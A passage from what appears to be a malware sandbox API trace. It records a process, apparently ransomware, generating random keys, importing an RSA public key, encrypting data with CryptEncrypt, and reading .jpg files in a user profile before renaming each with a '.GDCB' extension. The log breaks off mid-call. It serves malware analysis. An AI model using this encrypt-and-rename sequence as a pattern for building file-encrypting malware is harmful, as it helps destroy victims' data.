pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.846] CryptEncrypt (in: hKey=0x50d1550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0205.846] GetLastError () returned 0x0 [0205.846] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.846] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0205.847] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1350) returned 1 [0205.848] CryptGetKeyParam (in: hKey=0x50d1350, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.848] CryptEncrypt (in: hKey=0x50d1350, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0205.848] GetLastError () returned 0x0 [0205.848] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.848] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\4929c482.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\4929c482.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0205.850] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0205.851] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0205.852] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x22e0, lpOverlapped=0x0) returned 1 [0205.860] VirtualAlloc (lpAddress=0x0, dwSize=0x22e0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0205.864] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\4929c482.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\4929c482.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\4929c482.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\4929c482.jpg.gdcb")) returned 1 [0205.868] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0205.869] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.870] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.870] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0205.870] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.870] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0205.871] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.872] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.872] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0205.872] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.872] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0205.874] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1750) returned 1 [0205.874] CryptGetKeyParam (in: hKey=0x50d1750, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.874] CryptEncrypt (in: hKey=0x50d1750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0205.875] GetLastError () returned 0x0 [0205.875] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.875] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0205.876] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1210) returned 1 [0205.876] CryptGetKeyParam (in: hKey=0x50d1210, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.876] CryptEncrypt (in: hKey=0x50d1210, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0205.877] GetLastError () returned 0x0 [0205.877] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0205.877] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\52572b1f.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\52572b1f.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0205.878] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0205.879] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0205.880] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x17f0, lpOverlapped=0x0) returned 1 [0205.888] VirtualAlloc (lpAddress=0x0, dwSize=0x17f0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0205.892] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\52572b1f.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\52572b1f.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\52572b1f.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\52572b1f.jpg.gdcb")) returned 1 [0205.938] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0205.940] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.941] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.941] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0205.941] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.941] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0205.942] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.943] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.944] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0205.944] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.944] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0205.946] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1190) returned 1 [0205.946] CryptGetKeyParam (in: hKey=0x50d1190, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.947] CryptEncrypt (in: hKey=0x50d1190, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0205.947] GetLastError () returned 0x0 [0205.947] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.947] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0205.948] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d13d0) returned 1 [0205.949] CryptGetKeyParam (in: hKey=0x50d13d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.949] CryptEncrypt (in: hKey=0x50d13d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0205.949] GetLastError () returned 0x0 [0205.949] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.949] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\6b492b11.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\6b492b11.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0205.950] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0205.951] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0205.952] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x1130, lpOverlapped=0x0) returned 1 [0205.960] VirtualAlloc (lpAddress=0x0, dwSize=0x1130, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0205.964] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\6b492b11.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\6b492b11.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\6b492b11.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\6b492b11.jpg.gdcb")) returned 1 [0205.968] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0205.970] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.970] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.970] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0205.971] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.971] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0205.972] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.973] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.973] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0205.973] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.973] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0205.976] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d14d0) returned 1 [0205.976] CryptGetKeyParam (in: hKey=0x50d14d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.976] CryptEncrypt (in: hKey=0x50d14d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0205.976] GetLastError () returned 0x0 [0205.976] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.976] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0205.978] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d17d0) returned 1 [0205.978] CryptGetKeyParam (in: hKey=0x50d17d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.978] CryptEncrypt (in: hKey=0x50d17d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0205.978] GetLastError () returned 0x0 [0205.978] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.978] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\7a7d9912.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\7a7d9912.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0205.980] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0205.982] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0205.982] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x19d0, lpOverlapped=0x0) returned 1 [0205.991] VirtualAlloc (lpAddress=0x0, dwSize=0x19d0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0205.995] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\7a7d9912.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\7a7d9912.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\7a7d9912.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\7a7d9912.jpg.gdcb")) returned 1 [0205.999] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0206.001] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.002] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.002] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.002] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.002] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0206.003] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.004] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.004] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.004] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0206.004] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0206.007] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1050) returned 1 [0206.007] CryptGetKeyParam (in: hKey=0x50d1050, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.007] CryptEncrypt (in: hKey=0x50d1050, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.007] GetLastError () returned 0x0 [0206.007] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.007] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0206.009] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1790) returned 1 [0206.009] CryptGetKeyParam (in: hKey=0x50d1790, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.009] CryptEncrypt (in: hKey=0x50d1790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.010] GetLastError () returned 0x0 [0206.010] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.010] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\7fe97f77.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\7fe97f77.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.011] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.013] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.014] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x1b60, lpOverlapped=0x0) returned 1 [0206.022] VirtualAlloc (lpAddress=0x0, dwSize=0x1b60, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.026] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\7fe97f77.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\7fe97f77.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\7fe97f77.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\7fe97f77.jpg.gdcb")) returned 1 [0206.145] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.146] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.147] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.147] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.147] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.148] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0206.149] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.150] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.150] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.150] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.150] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0206.152] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1810) returned 1 [0206.152] CryptGetKeyParam (in: hKey=0x50d1810, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.152] CryptEncrypt (in: hKey=0x50d1810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.152] GetLastError () returned 0x0 [0206.152] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.152] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0206.154] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d15d0) returned 1 [0206.154] CryptGetKeyParam (in: hKey=0x50d15d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.154] CryptEncrypt (in: hKey=0x50d15d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, 